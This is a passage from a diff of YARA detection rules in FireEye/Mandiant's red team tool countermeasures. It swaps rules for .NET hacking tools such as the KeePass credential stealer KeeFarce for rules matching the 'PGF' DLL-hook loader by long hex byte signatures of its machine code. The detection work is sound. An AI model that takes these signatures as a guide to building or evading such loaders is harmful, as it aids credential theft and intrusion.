= "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSECTIONINJECTION/production/yara/Loader_MSIL_CSharpSectionInjection_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_3.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "011cf4dffe6ef90a79cdfabb0e297152c00b0404b1801f56fd7e703ab90b1692" + hash = "3bb34ebd93b8ab5799f4843e8cc829fa" + logic_hash = "fd82bdec54a76eed12cc8820ef39899f31ea6df21d905530a0d53770b3d9901b" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 2 + rev = 4 strings: - $typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide + $cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 } + $cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 } + $cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 } + $cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_Keefarce_1 : FILE +rule FIREEYE_RT_APT_Loader_Win32_PGF_3 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project." + description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads." author = "FireEye" - id = "c17add0c-e09f-5ced-a4e1-bf60afad4725" + id = "adf91482-6e04-5d11-bc00-4b1c7a802c49" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEFARCE/production/yara/HackTool_MSIL_KeeFarce_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_3.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "8db86230849137608880dbe448737fc70068d308772e294cc69301b18ae10908" + hash = "4414953fa397a41156f6fa4f9462d207" + logic_hash = "24d2caad1d740ccbff0cf111a05ecad20ed06f311d530d8de86050d916da32ce" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 3 + rev = 4 strings: - $typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide + $cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 } + $cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 } + $cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 